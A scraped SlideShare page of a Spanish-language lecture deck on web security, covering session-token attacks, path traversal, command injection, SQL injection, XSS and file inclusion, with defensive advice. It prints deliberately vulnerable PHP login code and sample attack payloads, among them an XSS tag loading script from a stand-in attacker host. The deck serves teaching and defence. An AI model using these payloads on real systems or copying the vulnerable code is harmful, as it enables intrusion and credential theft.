SlideShare a Scribd company logo
1 of 47
Download to read offline
Seguridad en Web
¿Por qué la web?
¿Por qué la web?
●
Omnipresente
●
Gran superficie de ataque
– servidores de empresas
– servidores personales
– clientes en todas las plataformas
– dispositivos móviles
– configuración de equipos vía web
¿Por qué la web?
●
Muy flexible = muy complejo = hay muchos elementos
– Se puede romper por muchas partes
●
Cliente
●
Servidor
●
código dinámico en el cliente
●
código dinámico en el servidor
●
comunicaciones con base de datos
●
Es difícil verificarlos todos
●
Cualquiera puede = lenguajes fáciles
– programados de forma casual
– se verifican hasta conseguir que la pagina funcione
●
que haga lo que yo quiero que haga
●
Pero no me importa si se rompe por mil partes
●
Nadie se preocupa por que no haga lo que no debe
¿Por qué la web?
●
Porque existe gente a la que no se le debería
dejar programar ni el fin de semana
El modelo de la web
El modelo de la web
●
Clientes y servidores
●
Protocolo HTTP
●
Código en servidor (PHP, ASP, CGI...)
●
Peticiones a bases de datos
●
Dibujo HTML
●
Código en cliente (Java, Javascript...)
●
Formularios
Cliente
Navegador
Servidor
Web
php...
ficheros
DB
js...
motor
dibujo
HTML
HTTP
formularios
El modelo de la web
●
Esencialmente es sin estado
– ¡¡Sin embargo se usa para tener sesiones de usuarios con contraseña !!
●
Como se hacen sesiones en un sistema sin estado?
– Cookies
– otros tokens
●
Se permite al servidor almacenar variables en el cliente
Cliente
Navegador
Servidor
Web
php...
ficheros
DB
js...
motor
dibujo
HTML
HTTP
formularios
Que puedo atacar
Que puedo atacar?
●
Vulnerabilidades del servidor web
– Cada vez más complejos
– Muy revisados por ser los programas más expuestos
– Sus vulnerabilidades se corrigen rápidamente
●
Vulnerabilidades del navegador
– Programas muy complejos
– Las vulnerabilidades duran más
●
usuarios no siempre actualizan
●
El código generando paginas
– Muchas veces escrito de forma poco profesional
– Normalmente input validation de muchos tipos
Que puedo atacar?
●
La autenticación y autorización
– Ataques a los mecanismos de sesiones y autenticación
●
El código en el cliente
– Código inyectado al cliente
●
desde otros sitios
●
en el enlace
●
Gusanos de javascript
●
…
Atacando la WEB
Indice de ataque
●
Seguridad en WWW
– Seguridad en la autenticación
– Seguridad en la autorización
– Ataques de validación de entrada
– Cross-site scripting
Ataques autorización web
Authorization
●
Usando sesiones en un sistema pensado
para ser “sin estado”
– El usuario se autentifica en una pagina
– a continuación navega por el sitio usando
los privilegios ganados
– El sistema debe recordar que se
autentifico
●
¿Como se sabe que la petición esta
relacionada con la autenticación inicial?
– Estoy enviando la autenticación cada vez?
●
en Basic y Digest: SI
– El cliente consigue algo que puede
presentar cada vez como prueba de
autenticación
●
token
Cliente
Navegador
Servidor
Web
user:
pass:
GET
login page
POST u+p
ok
welcome
[comprar]
GET
compra ok
Sesiones
●
3 formas de mantener tokens y sesiones
– Variables de URI
●
Se genera un identificador de sesión aleatorio y en los enlaces de esa sesión se
pasa como variable de GET
– Variables de formularios ocultas (y formularios con POST)
●
Se genera un identificador de sesión aleatorio y en las páginas de esa sesión se
añade una variable oculta a los formularios
– Cookies
●
Permiten almacenar una variable en el cliente que la enviará de vuelta cada vez
que pida una página de ese servidor
http://miweb.com/compras/index.php?session_id=1263716221
<input type=HIDDEN name=session_id value=1263716221>
Sesiones: ejemplo
●
Tokens
– Identifican la sesión
a la que pertenece la
petición
●
Autorización
– Procesa las
peticiones de los
tokens establecidos
user+pass+sid=1001
Cliente
Navegador
Servidor
Web
user:
pass:
welcome
[comprar]
welcome
[comprar]
Cliente
Navegador
sid=1001
sid=1001
sin sid
user:
pass:
sid=3106
sid=3106
producto+sid=1001
sid=1001
sin sid
user:
pass:
Sesiones: ejemplo en PHP
●
Pagina sencilla con autenticación
●
Si la sesión ya existe la variable $dentro nos dice si el usuario ya ha demostrado su
identidad o no
●
Si vienen datos user, pass de un formulario podemos cambiar el valor de $dentro o bien
apuntar que debemos dar error de intento no valido
●
Si la sesión no existía se generara un id y se guardara en una cookie PHPSESSID
<?php
session_start();
$dentro=$_SESSION['dentro'];
$user=$_POST['user'];
$pass=$_POST['pass'];
if ( isset($user) ) {
if ( $user=="yo" and $pass=="pas" ) {
$dentro=1;
$_SESSION['dentro']=$dentro;
} else {
$wronglogin=1;
}
}
?>
Sesiones: ejemplo en PHP
●
El contenido de la página depende de las variables
●
¿Qué problemas tiene esta página?
<?php
if ( $dentro == 1 ) {
?>
<h1>Pagina privada</h1>
No deberias ver esto sin tener la contraseña
...
<?php
} else {
?>
<?php
if ( $wronglogin==1 ) {
echo "<h1 style="color: red;">Error usuario o contraseña incorrecto</h1>";
}
?>
<h2>Demuestre su identidad</h2>
<form method=POST action=./index.php>
User:<br><input type=text name=user><br>
Password:<br><input type=password name=pass>
<br>
<input type=submit name=s value="Enter">
</form>
<?php } ?>
Cookies y sesiones
Sending cookies
●
Al pedir la primera vez la página anterior
●
Al pedirla otra vez
GET /login.php HTTP/1.1
Host: www.unavarra.es
[...]
HTTP/1.x 200 OK
Set­Cookie: PHPSESSID=7855b7336334942b8d8e7315eebe57f9; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Content­Length: 414
Content­Type: text/html
[...]
POST /login.php HTTP/1.1
Host: www.unavarra.es
Cookie: PHPSESSID=7855b7336334942b8d8e7315eebe57f9
Content­Type: application/x­www­form­urlencoded
Content­Length: 28
user=minombre&pass=unapalabra
HTTP/1.x 200 OK
Content­Length: 481
Content­Type: text/html
[...]
Ataques a los tokens
●
Pero la cookie que se envía esta bajo el control del usuario
– Navegadores que dejan editarlas
– Si envío la cookie de la sesión de otro usuario me convierto en ese usuario
●
Ataques
– Session prediction
●
¿Puedo predecir qué tokens se estarán usando?
– Session hijack
●
secuestro de sesión
●
¿Puedo robar un token a un usuario autentificado?
●
Session fixation
– ¿Puedo imponer un token a un usuario?
●
¿Para qué me vale?
Ataques a los tokens
●
Session prediction
– Recoger gran cantidad de tokens
– Análisis estadístico..
●
¿se puede preveer información sobre los siguientes?
– Fuerza bruta sobre los tokens más probables hasta encontrar uno que haya sido asignado a un usuario y se haya
autentificado
●
Session hijack (secuestro de sesión)
– Puedo robar un token a un usuario autentificado?
●
Multiples técnicas. Basadas en web o con técnicas de intrusión
Servidor
Web
token=1001
token=1001
Ataques a los tokens
●
Session fixation
– Puedo imponer un token a un usuario?
– Si consigo que un usuario abra la sesión con el token que yo
quiera...
Servidor
Web
token=1001
token=1001
autentificacion
con token=1001
Consejos para programar webs
seguras
●
Usar SSL / HTTPS
– Marcar cookies como seguras hace que solo se transmitan a
través de conexiones HTTPS
●
No programar tu sistema de tokens
– Es muy fácil cometer errores de protocolo
– usar los proporcionados por librerías seguras
●
usar sesiones de PHP en lugar de hacerlas yo mismo
●
Regenerar las sesiones con los cambios de privilegios
– Para evitar session fixation
Input validation
Input validation contra Web
●
Ataques básicos
– Canonicalization
●
Añadir ../ para bajar directorios en una variable que acabara siendo
utilizada para calcular un path
●
Uso de caracteres urlencoded %00 %0a para partir cadenas
●
Ejemplo: ${nombre}.jpg puede transformarse en ../../../../../../../etc/passwd
%00.jpg
– Provocar errores con valores inesperados en campos
●
Información en los mensajes de error
●
Ejecución de comandos con | & ;
●
Si los datos acaban formando parte de un comando a ejecutar
– Ejemplo: añadir ; cat /etc/passwd
– SQL injection
Input validation
SQL injection
SQL injection
●
Ataque de validación de entrada típico
– Lo que escribo como usuario y pass en el formulario acabara en
variables y se usara para construir una query a la BBDD
●
Que ocurre si el usuario escribe cosas de este tipo
– Usuario: 1' or '1'='1
– Pass: 1' or '1'='1
SELECT * FROM login WHERE user='1' OR '1'='1' AND pass='1' OR '1'='1';
$user = $_POST['user'];
$pass = $_POST['password'];
SELECT * FROM login WHERE user='$user' AND pass='$pass';
●
Buscando el usuario…
●
Cuidado con los fallos de seguridad de este código…
– Si usáis este cualquiera podrá entrar
$login_usuario_ok=false;
if ($entrada_login) {
$consulta_usuario="select * from Personas where nombre="".$i_nombre."" and
pass="".$i_pass.""";
$result_usuario=mysql_query($consulta_usuario);
if ( $result_usuario==false ) {
print("error al buscar usuario".mysql_error()."n");
exit();
}
if (mysql_num_rows($result_usuario)>0) {
$mi_info=mysql_fetch_assoc($result_usuario);
$login_usuario_ok=true;
print_r($mi_info);
}
}
Ejemplo: chat.php
●
Que pasa si ponemos un usuario como este?
●
La consulta devuelve todos los usuarios !!!
●
Que hace el código anterior si la consulta devuelve todos los usuarios?
simplemente usa el primero !!
usuario: xxx” or “1”=“1
pass: xxx” or “1”=“1
SQL injection
“select * from Personas where nombre="".$i_nombre."" and pass="".$i_pass.""
select * from Personas where nombre="xxx” or “1”=“1" and pass="xxx” or “1”=“1"
●
Si lo que llega del usuario se supone que tiene que ser texto
sin “ ‘ o caracteres raros, asegurare de eliminarlos
– Con str_replace o similares
– Con funciones de mysql que quitan los caracteres peligrosos
●
mysql_real_escape_string()
Recuerda siempre
$i_nombre = mysql_real_escape_string( $i_nombre );
●
Lo mismo ocurre en los campos de entrada
●
Cuidado si el atacante sabe mas SQL que tu :-)
$recibiendo_userid=false;
if ( isset( $_GET["i_userid"] ) ) {
$recibiendo_userid=true;
$i_userid=$_GET["i_userid"];
}
…
$consulta="select * from Mensajes, Personas where Mensajes.src_nia=Personas.nia and
Mensajes.src_nia=".$i_userid;
Mas inyección SQL
i_userid=52403
i_userid=52403+(select+2>1)
i_userid=52403+union+select+pass+from+users;
●
Si lo que llega del usuario se supone que tiene que ser
un número conviértelo a número
– Aunque venga de un menu
Recuerda siempre
$i_userid = intval($i_userid);
SQL injection
●
Más variedades
– Poner caracteres con significados para SQL como ' " -- ;
– pueden llegar a romper la query y conseguir cosas
– A veces sólo con producir errores que den información de la
base de datos ya es algo
– Técnicas más sofisticadas que obtienen información incluso
aunque no salgan resultados de la query en la pagina
●
Blind SQL injection
HTML injection XSS
HTML injection XSS
●
Insertar código HTML en variables que no esperan HTML, causando que
un atacante tenga control sobre el dibujo de una página ajena
●
Una página que repite la información proporcionada en un campo puede
ser vulnerable
●
¿Qué ocurre si ponemos código HTML?
HTML injection XSS
●
Probamos
– <img src=”...”></img>
●
El HTML no se elimina y llega
de vuelta
– Dominando HTML se pueden llegar
a hacer muchas modificaciones
– Incluyendo añadir secciones con
posicionamiento vía CSS que
oculten otras partes de la pagina
original
HTML injection XSS
●
Pero es más peligroso si incluimos Javascript
– <script>… document.cookie ...</script>
HTML injection XSS
●
Inyectar en un campo
– <script>document.write(document.cookie)</script>
– <script>alert(‘hola’)</script>
– <script src=”http://evilscripts.com/do.js”></script>
– Cualquier cosa que se pueda hacer con javascript puede
hacerse en la página de otro
●
Hasta ahora solo hemos visto como modificar una página
de otro vista en tu navegador.
– ¿Como se puede usar esto para hacer el mal?
HTML injection XSS
●
Si los datos que metemos en un formulario pueden pasarse por GET...
●
http://www.unavarra.es/webmail.php?user=<script>...
– Puedo construir una pagina que enlace a otra metiendo datos que la modifiquen (cross-site scripting)
●
Y no hablamos ya de cuando ese HTML es persistente
– Foros
– Weblogs
– Redes sociales
●
Ampliamente usado para ataques a las cookies:
– Hotmail
– Gmail
– facebook
●
Usado robos de identidad
– consiguiendo que la página de una entidad haga algo diferente
– El usuario confia porque ve claramente que es su banco
●
XSS cross site scripting
– Se refiere a cuando cargamos el código javascript de otra pagina
File inclusion
File inclusion
●
Y si dejo a un usuario subir un fichero
para que lo sirva el servidor?
– Parecido al HTML mirroring…
●
Es peligroso?
– ¡¡¡Nunca dejar al usuario subir ficheros y que
elija el nombre!!!
– PHP inclusion
– PhpShell !!!
Conclusiones
Conclusiones
●
Validación de formularios con javascript es inutil
– Se puede hacer por ayudar al usuario pero el servidor
debe volver a validarlo
●
No dar por supuesto nada sobre los datos de
entrada
– Expect the unexpected
●
Limpiar con expresiones regulares
●
Asegurarse de que solo hay lo que queremos
Conclusiones
●
Asegurarse de que solo hay lo que queremos
Conclusiones
●
Gran variedad de ataques contra la
web
– Contra la autenticación y autorización
– Contra los servidores que alojan las páginas
– Contra otros usuarios de los servidores
●
Es el frente más atacado
– es fundamental comprender en que se basan
para poder defenderse

More Related Content

Similar to Seguridad en la web

Argentesting 2018 - Incorporando seguridad a las tareas de testing
Argentesting 2018 - Incorporando seguridad a las tareas de testingArgentesting 2018 - Incorporando seguridad a las tareas de testing
Argentesting 2018 - Incorporando seguridad a las tareas de testingArgentesting
 
Asegurando APIs en Symfony con JWT
Asegurando APIs en Symfony con JWTAsegurando APIs en Symfony con JWT
Asegurando APIs en Symfony con JWTIgnacio Martín
 
Seguridad web para desarrolladores - OWASP
Seguridad web para desarrolladores - OWASPSeguridad web para desarrolladores - OWASP
Seguridad web para desarrolladores - OWASPMarcos Harasimowicz
 
Potencia Tu Sitio Web De La Mano De Internet Explorer 8
Potencia Tu Sitio Web De La Mano De Internet Explorer 8Potencia Tu Sitio Web De La Mano De Internet Explorer 8
Potencia Tu Sitio Web De La Mano De Internet Explorer 8Andrés Iturralde
 
2012 07 03-04 ga renovado ged
2012 07 03-04 ga renovado ged2012 07 03-04 ga renovado ged
2012 07 03-04 ga renovado gedEli Garcia
 
Los 7 pecados del Desarrollo Web
Los 7 pecados del Desarrollo WebLos 7 pecados del Desarrollo Web
Los 7 pecados del Desarrollo Webacksec
 
Implementar la seguridad en el acceso a datos
Implementar la seguridad en el acceso a datosImplementar la seguridad en el acceso a datos
Implementar la seguridad en el acceso a datosHelmilpa
 
Los 10 principales riesgos en aplicaciones web #CPMX5
Los 10 principales riesgos en aplicaciones web #CPMX5Los 10 principales riesgos en aplicaciones web #CPMX5
Los 10 principales riesgos en aplicaciones web #CPMX5SemanticWebBuilder
 
Seguridad en los videojuegos - GoD Mode
Seguridad en los videojuegos - GoD ModeSeguridad en los videojuegos - GoD Mode
Seguridad en los videojuegos - GoD ModeZink Security
 
Introducción a la analítica web - Menorca 2013
Introducción a la analítica web - Menorca 2013Introducción a la analítica web - Menorca 2013
Introducción a la analítica web - Menorca 2013Iván de León
 
Open platform - Hernan Di Chello / José Garcia
Open platform  - Hernan Di Chello / José GarciaOpen platform  - Hernan Di Chello / José Garcia
Open platform - Hernan Di Chello / José Garciafsolari
 
Fernando Tellado & Fernando Puente: WPO y optimización de resultados de tu Wo...
Fernando Tellado & Fernando Puente: WPO y optimización de resultados de tu Wo...Fernando Tellado & Fernando Puente: WPO y optimización de resultados de tu Wo...
Fernando Tellado & Fernando Puente: WPO y optimización de resultados de tu Wo...SiteGround España
 
Google Analytics para Desarrolladores
Google Analytics para DesarrolladoresGoogle Analytics para Desarrolladores
Google Analytics para DesarrolladoresBruno Barbieri
 
Vulnerabilidades en Aplicaciones Web PHP
Vulnerabilidades en Aplicaciones Web PHPVulnerabilidades en Aplicaciones Web PHP
Vulnerabilidades en Aplicaciones Web PHPMoises Silva
 
Asegúr@IT III - Ataques SQL Injection masivos
Asegúr@IT III - Ataques SQL Injection masivosAsegúr@IT III - Ataques SQL Injection masivos
Asegúr@IT III - Ataques SQL Injection masivosChema Alonso
 

Similar to Seguridad en la web (20)

Argentesting 2018 - Incorporando seguridad a las tareas de testing
Argentesting 2018 - Incorporando seguridad a las tareas de testingArgentesting 2018 - Incorporando seguridad a las tareas de testing
Argentesting 2018 - Incorporando seguridad a las tareas de testing
 
Asegurando APIs en Symfony con JWT
Asegurando APIs en Symfony con JWTAsegurando APIs en Symfony con JWT
Asegurando APIs en Symfony con JWT
 
Seguridad web para desarrolladores - OWASP
Seguridad web para desarrolladores - OWASPSeguridad web para desarrolladores - OWASP
Seguridad web para desarrolladores - OWASP
 
Robo desesionesfinal
Robo desesionesfinalRobo desesionesfinal
Robo desesionesfinal
 
Potencia Tu Sitio Web De La Mano De Internet Explorer 8
Potencia Tu Sitio Web De La Mano De Internet Explorer 8Potencia Tu Sitio Web De La Mano De Internet Explorer 8
Potencia Tu Sitio Web De La Mano De Internet Explorer 8
 
Tema 3 - Seguridad en Internet
Tema 3 - Seguridad en InternetTema 3 - Seguridad en Internet
Tema 3 - Seguridad en Internet
 
2012 07 03-04 ga renovado ged
2012 07 03-04 ga renovado ged2012 07 03-04 ga renovado ged
2012 07 03-04 ga renovado ged
 
Los 7 pecados del Desarrollo Web
Los 7 pecados del Desarrollo WebLos 7 pecados del Desarrollo Web
Los 7 pecados del Desarrollo Web
 
Implementar la seguridad en el acceso a datos
Implementar la seguridad en el acceso a datosImplementar la seguridad en el acceso a datos
Implementar la seguridad en el acceso a datos
 
Los 10 principales riesgos en aplicaciones web #CPMX5
Los 10 principales riesgos en aplicaciones web #CPMX5Los 10 principales riesgos en aplicaciones web #CPMX5
Los 10 principales riesgos en aplicaciones web #CPMX5
 
Seguridad en los videojuegos - GoD Mode
Seguridad en los videojuegos - GoD ModeSeguridad en los videojuegos - GoD Mode
Seguridad en los videojuegos - GoD Mode
 
Introducción a la analítica web - Menorca 2013
Introducción a la analítica web - Menorca 2013Introducción a la analítica web - Menorca 2013
Introducción a la analítica web - Menorca 2013
 
as
asas
as
 
S2-PD2-Web Forms
S2-PD2-Web FormsS2-PD2-Web Forms
S2-PD2-Web Forms
 
Open platform - Hernan Di Chello / José Garcia
Open platform  - Hernan Di Chello / José GarciaOpen platform  - Hernan Di Chello / José Garcia
Open platform - Hernan Di Chello / José Garcia
 
Fernando Tellado & Fernando Puente: WPO y optimización de resultados de tu Wo...
Fernando Tellado & Fernando Puente: WPO y optimización de resultados de tu Wo...Fernando Tellado & Fernando Puente: WPO y optimización de resultados de tu Wo...
Fernando Tellado & Fernando Puente: WPO y optimización de resultados de tu Wo...
 
Google Analytics para Desarrolladores
Google Analytics para DesarrolladoresGoogle Analytics para Desarrolladores
Google Analytics para Desarrolladores
 
Vulnerabilidades en Aplicaciones Web PHP
Vulnerabilidades en Aplicaciones Web PHPVulnerabilidades en Aplicaciones Web PHP
Vulnerabilidades en Aplicaciones Web PHP
 
Disi codeigniter
Disi codeigniterDisi codeigniter
Disi codeigniter
 
Asegúr@IT III - Ataques SQL Injection masivos
Asegúr@IT III - Ataques SQL Injection masivosAsegúr@IT III - Ataques SQL Injection masivos
Asegúr@IT III - Ataques SQL Injection masivos
 

Recently uploaded

subestaciones electricas , elementos y caracteristicas
subestaciones electricas , elementos y caracteristicassubestaciones electricas , elementos y caracteristicas
subestaciones electricas , elementos y caracteristicaszaydaescalona
 
Cuestionario 20222222222222222222222224.pdf
Cuestionario 20222222222222222222222224.pdfCuestionario 20222222222222222222222224.pdf
Cuestionario 20222222222222222222222224.pdffredyflores58
 
DIFERENCIA DE COMPRESION Y TENSION EN UN CUERPO
DIFERENCIA DE COMPRESION Y TENSION EN UN CUERPODIFERENCIA DE COMPRESION Y TENSION EN UN CUERPO
DIFERENCIA DE COMPRESION Y TENSION EN UN CUERPOSegundo Silva Maguiña
 
ESFUERZO EN VIGAS SESIÓN 5 PROBLEMA RESUELTOS.pdf
ESFUERZO EN VIGAS SESIÓN 5 PROBLEMA RESUELTOS.pdfESFUERZO EN VIGAS SESIÓN 5 PROBLEMA RESUELTOS.pdf
ESFUERZO EN VIGAS SESIÓN 5 PROBLEMA RESUELTOS.pdfSegundo Silva Maguiña
 
REAJUSTE DE PRECIOS EN LOS CONTRATOS ADMINISTRATIVOS DE OBRA PUBLICA PACTADOS...
REAJUSTE DE PRECIOS EN LOS CONTRATOS ADMINISTRATIVOS DE OBRA PUBLICA PACTADOS...REAJUSTE DE PRECIOS EN LOS CONTRATOS ADMINISTRATIVOS DE OBRA PUBLICA PACTADOS...
REAJUSTE DE PRECIOS EN LOS CONTRATOS ADMINISTRATIVOS DE OBRA PUBLICA PACTADOS...p39961945
 
1.1 Los 14 principios del Toyota Way -2024.pdf
1.1 Los 14 principios del Toyota Way -2024.pdf1.1 Los 14 principios del Toyota Way -2024.pdf
1.1 Los 14 principios del Toyota Way -2024.pdfThe16Frame
 
TEST ESPACIAL CONTEO DE CUBOS y TEST DE MOSAICOS
TEST ESPACIAL CONTEO DE CUBOS y TEST DE MOSAICOSTEST ESPACIAL CONTEO DE CUBOS y TEST DE MOSAICOS
TEST ESPACIAL CONTEO DE CUBOS y TEST DE MOSAICOSCarlosHuamulloDavila1
 
Responsabilidad de padres con sus hijos (1).pptx
Responsabilidad de padres con sus hijos (1).pptxResponsabilidad de padres con sus hijos (1).pptx
Responsabilidad de padres con sus hijos (1).pptxROSARIODELPILARMERIN
 
PRACTICAS_DE_AUTOMATIZACION_industrial (1).pdf
PRACTICAS_DE_AUTOMATIZACION_industrial (1).pdfPRACTICAS_DE_AUTOMATIZACION_industrial (1).pdf
PRACTICAS_DE_AUTOMATIZACION_industrial (1).pdfjorge477728
 
Trabajo de cristalografia. año 2024 mes de mayo
Trabajo de cristalografia. año 2024 mes de mayoTrabajo de cristalografia. año 2024 mes de mayo
Trabajo de cristalografia. año 2024 mes de mayoAntonioCardenas58
 
subestaciones electricas, distribucion de energia
subestaciones electricas, distribucion de energiasubestaciones electricas, distribucion de energia
subestaciones electricas, distribucion de energiazaydaescalona
 
TIPOS DE BASTIDORES Y CARROCERIA EN LA INDUSTRIA AUTOMOTRIZ
TIPOS DE BASTIDORES Y CARROCERIA EN LA INDUSTRIA AUTOMOTRIZTIPOS DE BASTIDORES Y CARROCERIA EN LA INDUSTRIA AUTOMOTRIZ
TIPOS DE BASTIDORES Y CARROCERIA EN LA INDUSTRIA AUTOMOTRIZvarichard
 
Diseno de Estructuras de Acero - 5ta Ed - McCormac.pdf
Diseno de Estructuras de Acero - 5ta Ed - McCormac.pdfDiseno de Estructuras de Acero - 5ta Ed - McCormac.pdf
Diseno de Estructuras de Acero - 5ta Ed - McCormac.pdfEdwinHurtado31
 
Sesión de Clase A dde sistemas de riego y otras obras
Sesión de Clase A dde sistemas de riego y otras obrasSesión de Clase A dde sistemas de riego y otras obras
Sesión de Clase A dde sistemas de riego y otras obrasBildStrify1
 
Circuitos_basicos_de_neumatica miquel carulla .pdf
Circuitos_basicos_de_neumatica  miquel carulla .pdfCircuitos_basicos_de_neumatica  miquel carulla .pdf
Circuitos_basicos_de_neumatica miquel carulla .pdfJosueUlin1
 
TR-514 (3) - BIS copia seguridad DOS COLUMNAS 2024 20.5 PREFERIDO.wbk.wbk SEG...
TR-514 (3) - BIS copia seguridad DOS COLUMNAS 2024 20.5 PREFERIDO.wbk.wbk SEG...TR-514 (3) - BIS copia seguridad DOS COLUMNAS 2024 20.5 PREFERIDO.wbk.wbk SEG...
TR-514 (3) - BIS copia seguridad DOS COLUMNAS 2024 20.5 PREFERIDO.wbk.wbk SEG...FRANCISCOJUSTOSIERRA
 
UNIDAD III Esquemas de comunicacion pptx
UNIDAD III Esquemas de comunicacion pptxUNIDAD III Esquemas de comunicacion pptx
UNIDAD III Esquemas de comunicacion pptxElybe Hernandez
 
expo unidad5 metodologia de los sistemas blandos .pptx
expo unidad5 metodologia de los sistemas blandos .pptxexpo unidad5 metodologia de los sistemas blandos .pptx
expo unidad5 metodologia de los sistemas blandos .pptxeduardo1sauceda7
 
METRADOS EN OBRAS DE PAVIMENTACION- ACTUALIZADA.pptx
METRADOS EN OBRAS DE PAVIMENTACION- ACTUALIZADA.pptxMETRADOS EN OBRAS DE PAVIMENTACION- ACTUALIZADA.pptx
METRADOS EN OBRAS DE PAVIMENTACION- ACTUALIZADA.pptxEdwardRodriguezPalom1
 

Recently uploaded (20)

subestaciones electricas , elementos y caracteristicas
subestaciones electricas , elementos y caracteristicassubestaciones electricas , elementos y caracteristicas
subestaciones electricas , elementos y caracteristicas
 
Cuestionario 20222222222222222222222224.pdf
Cuestionario 20222222222222222222222224.pdfCuestionario 20222222222222222222222224.pdf
Cuestionario 20222222222222222222222224.pdf
 
DIFERENCIA DE COMPRESION Y TENSION EN UN CUERPO
DIFERENCIA DE COMPRESION Y TENSION EN UN CUERPODIFERENCIA DE COMPRESION Y TENSION EN UN CUERPO
DIFERENCIA DE COMPRESION Y TENSION EN UN CUERPO
 
ESFUERZO EN VIGAS SESIÓN 5 PROBLEMA RESUELTOS.pdf
ESFUERZO EN VIGAS SESIÓN 5 PROBLEMA RESUELTOS.pdfESFUERZO EN VIGAS SESIÓN 5 PROBLEMA RESUELTOS.pdf
ESFUERZO EN VIGAS SESIÓN 5 PROBLEMA RESUELTOS.pdf
 
REAJUSTE DE PRECIOS EN LOS CONTRATOS ADMINISTRATIVOS DE OBRA PUBLICA PACTADOS...
REAJUSTE DE PRECIOS EN LOS CONTRATOS ADMINISTRATIVOS DE OBRA PUBLICA PACTADOS...REAJUSTE DE PRECIOS EN LOS CONTRATOS ADMINISTRATIVOS DE OBRA PUBLICA PACTADOS...
REAJUSTE DE PRECIOS EN LOS CONTRATOS ADMINISTRATIVOS DE OBRA PUBLICA PACTADOS...
 
1.1 Los 14 principios del Toyota Way -2024.pdf
1.1 Los 14 principios del Toyota Way -2024.pdf1.1 Los 14 principios del Toyota Way -2024.pdf
1.1 Los 14 principios del Toyota Way -2024.pdf
 
TEST ESPACIAL CONTEO DE CUBOS y TEST DE MOSAICOS
TEST ESPACIAL CONTEO DE CUBOS y TEST DE MOSAICOSTEST ESPACIAL CONTEO DE CUBOS y TEST DE MOSAICOS
TEST ESPACIAL CONTEO DE CUBOS y TEST DE MOSAICOS
 
Responsabilidad de padres con sus hijos (1).pptx
Responsabilidad de padres con sus hijos (1).pptxResponsabilidad de padres con sus hijos (1).pptx
Responsabilidad de padres con sus hijos (1).pptx
 
PRACTICAS_DE_AUTOMATIZACION_industrial (1).pdf
PRACTICAS_DE_AUTOMATIZACION_industrial (1).pdfPRACTICAS_DE_AUTOMATIZACION_industrial (1).pdf
PRACTICAS_DE_AUTOMATIZACION_industrial (1).pdf
 
Trabajo de cristalografia. año 2024 mes de mayo
Trabajo de cristalografia. año 2024 mes de mayoTrabajo de cristalografia. año 2024 mes de mayo
Trabajo de cristalografia. año 2024 mes de mayo
 
subestaciones electricas, distribucion de energia
subestaciones electricas, distribucion de energiasubestaciones electricas, distribucion de energia
subestaciones electricas, distribucion de energia
 
TIPOS DE BASTIDORES Y CARROCERIA EN LA INDUSTRIA AUTOMOTRIZ
TIPOS DE BASTIDORES Y CARROCERIA EN LA INDUSTRIA AUTOMOTRIZTIPOS DE BASTIDORES Y CARROCERIA EN LA INDUSTRIA AUTOMOTRIZ
TIPOS DE BASTIDORES Y CARROCERIA EN LA INDUSTRIA AUTOMOTRIZ
 
Diseno de Estructuras de Acero - 5ta Ed - McCormac.pdf
Diseno de Estructuras de Acero - 5ta Ed - McCormac.pdfDiseno de Estructuras de Acero - 5ta Ed - McCormac.pdf
Diseno de Estructuras de Acero - 5ta Ed - McCormac.pdf
 
Sesión de Clase A dde sistemas de riego y otras obras
Sesión de Clase A dde sistemas de riego y otras obrasSesión de Clase A dde sistemas de riego y otras obras
Sesión de Clase A dde sistemas de riego y otras obras
 
Circuitos_basicos_de_neumatica miquel carulla .pdf
Circuitos_basicos_de_neumatica  miquel carulla .pdfCircuitos_basicos_de_neumatica  miquel carulla .pdf
Circuitos_basicos_de_neumatica miquel carulla .pdf
 
TR-514 (3) - BIS copia seguridad DOS COLUMNAS 2024 20.5 PREFERIDO.wbk.wbk SEG...
TR-514 (3) - BIS copia seguridad DOS COLUMNAS 2024 20.5 PREFERIDO.wbk.wbk SEG...TR-514 (3) - BIS copia seguridad DOS COLUMNAS 2024 20.5 PREFERIDO.wbk.wbk SEG...
TR-514 (3) - BIS copia seguridad DOS COLUMNAS 2024 20.5 PREFERIDO.wbk.wbk SEG...
 
UNIDAD III Esquemas de comunicacion pptx
UNIDAD III Esquemas de comunicacion pptxUNIDAD III Esquemas de comunicacion pptx
UNIDAD III Esquemas de comunicacion pptx
 
expo unidad5 metodologia de los sistemas blandos .pptx
expo unidad5 metodologia de los sistemas blandos .pptxexpo unidad5 metodologia de los sistemas blandos .pptx
expo unidad5 metodologia de los sistemas blandos .pptx
 
Convocatoria de Becas Caja de Ingenieros_UOC 2024-25
Convocatoria de Becas Caja de Ingenieros_UOC 2024-25Convocatoria de Becas Caja de Ingenieros_UOC 2024-25
Convocatoria de Becas Caja de Ingenieros_UOC 2024-25
 
METRADOS EN OBRAS DE PAVIMENTACION- ACTUALIZADA.pptx
METRADOS EN OBRAS DE PAVIMENTACION- ACTUALIZADA.pptxMETRADOS EN OBRAS DE PAVIMENTACION- ACTUALIZADA.pptx
METRADOS EN OBRAS DE PAVIMENTACION- ACTUALIZADA.pptx
 

Seguridad en la web

  • 3. ¿Por qué la web? ● Omnipresente ● Gran superficie de ataque – servidores de empresas – servidores personales – clientes en todas las plataformas – dispositivos móviles – configuración de equipos vía web
  • 4. ¿Por qué la web? ● Muy flexible = muy complejo = hay muchos elementos – Se puede romper por muchas partes ● Cliente ● Servidor ● código dinámico en el cliente ● código dinámico en el servidor ● comunicaciones con base de datos ● Es difícil verificarlos todos ● Cualquiera puede = lenguajes fáciles – programados de forma casual – se verifican hasta conseguir que la pagina funcione ● que haga lo que yo quiero que haga ● Pero no me importa si se rompe por mil partes ● Nadie se preocupa por que no haga lo que no debe
  • 5. ¿Por qué la web? ● Porque existe gente a la que no se le debería dejar programar ni el fin de semana
  • 6. El modelo de la web
  • 7. El modelo de la web ● Clientes y servidores ● Protocolo HTTP ● Código en servidor (PHP, ASP, CGI...) ● Peticiones a bases de datos ● Dibujo HTML ● Código en cliente (Java, Javascript...) ● Formularios Cliente Navegador Servidor Web php... ficheros DB js... motor dibujo HTML HTTP formularios
  • 8. El modelo de la web ● Esencialmente es sin estado – ¡¡Sin embargo se usa para tener sesiones de usuarios con contraseña !! ● Como se hacen sesiones en un sistema sin estado? – Cookies – otros tokens ● Se permite al servidor almacenar variables en el cliente Cliente Navegador Servidor Web php... ficheros DB js... motor dibujo HTML HTTP formularios
